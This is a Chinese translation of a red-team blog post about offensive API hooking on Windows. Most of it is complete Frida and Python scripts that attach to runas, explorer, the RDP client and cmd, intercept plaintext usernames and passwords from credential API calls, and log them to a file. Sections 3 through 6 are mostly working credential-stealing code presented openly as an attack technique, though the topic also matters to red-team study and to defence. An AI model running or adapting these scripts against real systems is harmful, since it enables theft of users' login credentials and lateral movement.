STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.1 简介
众所周知,Hooking已经算不上什么新概念了,并且各大AV/EDR供应商早就采用这种技术来监控可疑的API调用了。在这篇文章中,我们将从攻击性的角度来探讨API hooking技术。首先,我们将借助API Monitor来考察每个程序所使用的API调用,然后,使用Frida和python来打造我们的终极hooking脚本。这篇文章的灵感来自于Red Teaming Experiments团队的一篇博客文章。
No.2 API Monitor
在监控api调用方面,Api Monitor是一个非常不错的选择,读者可以从这里下载到它。
启动Api Monitor后,其主屏幕如下所示:
如您所见,这里已经选择了所有的库选项,以尽可能多的捕捉API。下面,让我们从监控一个新的进程开始入手,为此,我们可以选择runas.exe。
根据微软官方文档的介绍:
它允许用户以不同于用户当前登录时所提供的权限来运行特定的工具和程序。
对我来说,作为一个开始,这个程序看起来再合适不过了。
打开runas并尝试以不同的用户身份登录,我们就能看到上述API调用:
很好,由此可知:在CreateProcessWithLogonW api调用中,会存放我们的凭证信息。看一下微软的文档,我们就会发现,第1个和第3个参数分别用于存储用户名和密码。现在,既然已经知道了这些,那就赶紧编写相应的脚本吧!
No.3 Frida
据Frida官方网站介绍:
它是用于原生应用程序的Gresemonkey,或者,用更专业的术语来说,它是一个动态代码插桩工具包。通过它,您可以将JavaScript代码或自己的库注入到Windows、MacOS、GNU/Linux、iOS、Android和QNX系统上的本地应用程序中。此外,Frida还为您提供了一些构建在Frida API之上的简单工具。这些代码既可以按原样使用,也可以根据您的需要进行调整,还可以作为API使用方法的范例。
接下来,我们将构建一个JavaScript代码段,其作用是从DLL库Advapi.dll中获取函数的名称。具体脚本如下所示:
var CreateProcessWithLogonW = Module.findExportByName("Advapi32.dll", 'CreateProcessWithLogonW') // exporting the function from the dll library
Interceptor.attach(CreateProcessWithLogonW, { // getting our juice arguments (according to microsoft docs)
onEnter: function (args) {
this.lpUsername = args[0];
this.lpDomain = args[1];
this.lpPassword = args[2];
this.lpCommandLine = args[5];
},
onLeave: function (args) { // getting the plain text credentials
send("\n=============================" + "\n[+] Retrieving Creds from RunAs.." +"\n Username : " + this.lpUsername.readUtf16String() + "\nCommandline : " + this.lpCommandLine.readUtf16String() + "\nDomain : " + this.lpDomain.readUtf16String() + "\nPassword : " + this.lpPassword.readUtf16String()+ "\n=============================");
}
});
现在,剩下的工作就是将JavaScript片段插入到一个python脚本中,最终的python脚本如下所示:
# Wrriten by Ilan Kalendarov
from __future__ import print_function
import frida
from time import sleep
import psutil
from threading import Lock, Thread
# Locking the runas thread to prevent other threads
lockRunas = Lock()
def on_message_runas(message, data):
# Executes when the user enters the password.
# Then, open the txt file and append the data.
print(message)
if message['type'] == "send":
with open("Creds.txt", "a") as f:
f.write(message["payload"] + 'n')
try:
lockRunas.release()
print("[+] released")
except Exception:
pass
def WaitForRunAs():
while True:
# Trying to find if runas is running if so, execute the "RunAs" function.
if ("runas.exe" in (p.name() for p in psutil.process_iter())) and not lockRunas.locked():
lockRunas.acquire() # Locking the runas thread
print("[+] Found RunAs")
RunAs()
sleep(0.5)
# If the user regret and they "ctrl+c" from runas then release the thread lock and start over.
elif (not "runas.exe" in (p.name() for p in psutil.process_iter())) and lockRunas.locked():
lockRunas.release()
print("[+] Runas is dead releasing lock")
else:
pass
sleep(0.5)
def RunAs():
try:
# Attaching to the runas process
print("[+] Trying To Attach To Runas")
session = frida.attach("runas.exe")
print("[+] Attached runas!")
# Executing the following javascript
# We Listen to the CreateProcessWithLogonW func from Advapi32.dll to catch the username,password,domain and the executing program in plain text.
script = session.create_script("""
var CreateProcessWithLogonW = Module.findExportByName("Advapi32.dll", 'CreateProcessWithLogonW') // exporting the function from the dll library
Interceptor.attach(CreateProcessWithLogonW, { // getting our juice arguments (according to microsoft docs)
onEnter: function (args) {
this.lpUsername = args[0];
this.lpDomain = args[1];
this.lpPassword = args[2];
this.lpCommandLine = args[5];
},
onLeave: function (args) { // getting the plain text credentials
send("\n=============================" + "\n[+] Retrieving Creds from RunAs.." +"\n Username : " + this.lpUsername.readUtf16String() + "\nCommandline : " + this.lpCommandLine.readUtf16String() + "\nDomain : " + this.lpDomain.readUtf16String() + "\nPassword : " + this.lpPassword.readUtf16String()+ "\n=============================");
}
});
""")
# If we got a hit then execute the "on_message_runas" function
script.on('message', on_message_runas)
script.load()
except Exception as e:
print(str(e))
if __name__ == "__main__":
thread = Thread(target=WaitForRunAs)
thread.start()
很好!让我们运行这个脚本:
No.4 Credentials Prompt
(即Graphical Runas)
要想实现凭证提示功能,其实非常简单,因为具体步骤基本上跟runas的CLI版本没有什么两样。首先,让我们启动API Monitor,然后,利用API Monitor中的进程定位器,我们就可以看到该进程是explorer.exe:
然后,通过前面的步骤,我就能够发现Credui.dll的CredUnPackAuthenticationBufferW函数被调用了。
根据微软的官方文档:
CredUnPackAuthenticationBuffer函数将调用CredUIPromptForWindowsCredentials函数,以便把返回的认证缓冲区中的内容转换为一个字符串,即用户名和密码。
这样的话,我们就可以编写相应的JavaScript和python脚本了,具体代码如下所示:
# Wrriten by Ilan Kalendarov
from __future__ import print_function
import frida
from time import sleep
import psutil
from threading import Lock, Thread
import sys
def on_message_credui(message, data):
# Executes when the user enters the credentials inside the Graphical runas prompt.
# Then, open a txt file and appends the data.
print(message)
if message['type'] == "send":
with open("Creds.txt", "a") as f:
f.write(message["payload"] + 'n')
def CredUI():
# Explorer is always running so no while loop is needed.
# Attaching to the explorer process
session = frida.attach("explorer.exe")
# Executing the following javascript
# We Listen to the CredUnPackAuthenticationBufferW func from Credui.dll to catch the user and pass in plain text
script = session.create_script("""
var username;
var password;
var CredUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW")
Interceptor.attach(CredUnPackAuthenticationBufferW, {
onEnter: function (args)
{
username = args[3];
password = args[7];
},
onLeave: function (result)
{
var user = username.readUtf16String()
var pass = password.readUtf16String()
if (user && pass)
{
send("\n+ Intercepted CredUI Credentials\n" + user + ":" + pass)
}
}
});
""")
# If we found the user and pass then execute "on_message_credui" function
script.on('message', on_message_credui)
script.load()
sys.stdin.read()
if __name__ == "__main__":
CredUI()
No.5 RDP
拜读MDSec与Red Teaming Experiments的博客后,我心想,肯定能找到一种简单的方法来钩取RDP凭证。
下面,让我们来对比一下Graphical Runas的提示与RDP的登录提示,它们看起来非常接近:
那么,它们是否使用的是同一个API调用呢?让我们来试试看。
使用与Credentials Prompt完全相同的脚本,我们仍然能够获得RDP凭证!
剩下的事情,就是编写相应的python脚本了,具体代码如下所示:
# Wrriten by Ilan Kalendarov
from __future__ import print_function
import frida
from time import sleep
import psutil
from threading import Lock, Thread
import sys
# Locking the mstsc thread to prevent other threads
lockRDP= Lock()
def on_message_rdp(message, data):
# Executes when the user enters the password.
# Then, open the txt file and append the data.
print(message)
if message['type'] == "send":
with open("Creds.txt", "a") as f:
f.write(message["payload"] + 'n')
try:
lockRDP.release()
print("[+] released")
except Exception:
pass
def WaitForRDP():
while True:
# Trying to find if mstsc is running if so, execute the "RunAs" function.
if ("mstsc.exe" in (p.name() for p in psutil.process_iter())) and not lockRDP.locked():
lockRDP.acquire() # Locking the mstsc thread
print("[+] Found RunAs")
RDP()
sleep(0.5)
# If the user regret and they close mstsc then we will release the thread lock and start over.
elif (not "mstsc.exe" in (p.name() for p in psutil.process_iter())) and lockRDP.locked():
lockRDP.release()
print("[+] RDP is dead releasing lock")
else:
pass
sleep(0.5)
def RDP():
try:
# Attaching to the mstsc process
print("[+] Trying To Attach To RDP")
session = frida.attach("mstsc.exe")
print("[+] Attached to mstsc!")
# Executing the following javascript
# We Listen to the CredUnPackAuthenticationBufferW func from Credui.dll to catch the username,password,domain and the executing program in plain text.
script = session.create_script("""
var username;
var password;
var CredUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW")
Interceptor.attach(CredUnPackAuthenticationBufferW, {
onEnter: function (args)
{
username = args[3];
password = args[7];
},
onLeave: function (result)
{
var user = username.readUtf16String()
var pass = password.readUtf16String()
if (user && pass)
{
send("\n+ Intercepted RDP Credentials\n" + user + ":" + pass)
}
}
});
""")
# If we got a hit then execute the "on_message_rdp" function
script.on('message', on_message_rdp)
script.load()
except Exception as e:
print(str(e))
if __name__ == "__main__":
thread = Thread(target=WaitForRDP)
thread.start()
执行上面的脚本,结果如下所示:
No.6 PsExec
最后(但并非最不重要)要介绍的是PsExec——来自sysinternals套件的远程执行工具。首先,让我们打开API Monitor,然后,用正确的参数加载PsExec,结果如下所示:
WNetAddConnection2W是存放我们的凭证信息的函数。如果我们尝试捕获这些信息,通常会遇到一个问题:Frida没有足够的时间附加到PsExec.exe进程,因为我们把密码作为一个参数提供:
由于脚本的速度不够快,致使无法捕捉到凭证,因此,我们需要另寻他法。面对这种情况,我想,如果我们把在命令提示符里面输入的所有内容都hook住,结果会怎么样呢?让我们试试看。这一次我将尝试监视命令提示符,并查找我们的凭证信息:
我们可以看到下面有一个新的线程,搜索由Ntdll.dll中的RtlInitUnicodeStringEx函数生成的密码。不幸的是,像大多数Ntdll库一样,Microsoft并没有提供相应的说明文档。但是我们可以看到函数接受的参数。其中,第二个参数SourceString看起来很有趣,因为它包含整个命令,我们还可以看到该函数被多次使用,基本上每次用户向命令提示符输入时都会调用它,因此,我们都需要构建一个过滤机制来过滤不需要的垃圾数据。
最终的脚本如下所示:
# Wrriten by Ilan Kalendarov
from __future__ import print_function
import frida
from time import sleep
import psutil
from threading import Lock, Thread
import sys
# Locking the cmd thread to prevent other threads
lockCmd = Lock()
def on_message_cmd(message, data):
# Executes when the user enters the right keyword from the array above.
# Then, open the txt file and append it
arr = ["-p", "pass", "password"]
if any(name for name in arr if name in message['payload']):
print(message['payload'])
with open("Creds.txt", "a") as f:
f.write(message['payload'] + 'n')
try:
lockCmd.release()
print("[+] released")
except Exception:
pass
def WaitForCmd():
numOfCmd = []
while True:
# Trying to find if cmd is running if so, execute the "CMD" function.
if ("cmd.exe" in (p.name() for p in psutil.process_iter())):
process = filter(lambda p: p.name() == "cmd.exe", psutil.process_iter())
for i in process:
if (i.pid not in numOfCmd):
#IF a new cmd window pops add it to the array, we want to hook
numOfCmd.append(i.pid)
lockCmd.acquire()
print("[+] Found cmd")
Cmd(i.pid)
lockCmd.release()
sleep(0.5)
elif (not "cmd.exe" in (p.name() for p in psutil.process_iter())) and lockCmd.locked():
lockCmd.release()
print("[+] cmd is dead releasing lock")
else:
pass
sleep(0.5)
def Cmd(Cmdpid):
try:
print("[+] Trying To Attach To cmd")
session = frida.attach(Cmdpid)
print("[+] Attached cmd with pid {}!".format(Cmdpid))
script = session.create_script("""
var username;
var password;
var CredUnPackAuthenticationBufferW = Module.findExportByName("Ntdll.dll", "RtlInitUnicodeStringEx")
Interceptor.attach(CredUnPackAuthenticationBufferW, {
onEnter: function (args)
{
password = args[1];
},
onLeave: function (result)
{
// Credentials are now decrypted
var pass = password.readUtf16String();
if (pass)
{
send("\n+ Intercepted cmd Creds\n" + ":" + pass);
}
}
});
""")
script.on('message', on_message_cmd)
script.load()
except Exception as e:
print(str(e))
if __name__ == "__main__":
thread = Thread(target=WaitForCmd)
thread.start()
其运行结果如下所示:
很好!我们终于能够拦截登陆凭证了。
No.7 小结
这是本人的第一篇博客,希望以后还会有更多的博客与大家见面。通过研究这个主题,我学到了很多东西。您可以扩展脚本,以满足您的个人需要,甚至可以将它们组合在一起。同时,强烈建议您提供反馈、补充或更正。
No.8 链接与资源
Instrumeting Windows APIs With Frida
- https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/instrumenting-windows-apis-with-frida
RdpThief
- https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/
Frida
- https://frida.re/
Api Monitor
- http://www.rohitab.com/apimonitor
原文地址:
https://ilankalendarov.github.io/posts/offensive-hooking/
END
长按识别二维码关注我们
本文始发于微信公众号(爱国小白帽):API Hooking技术在红队中的应用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论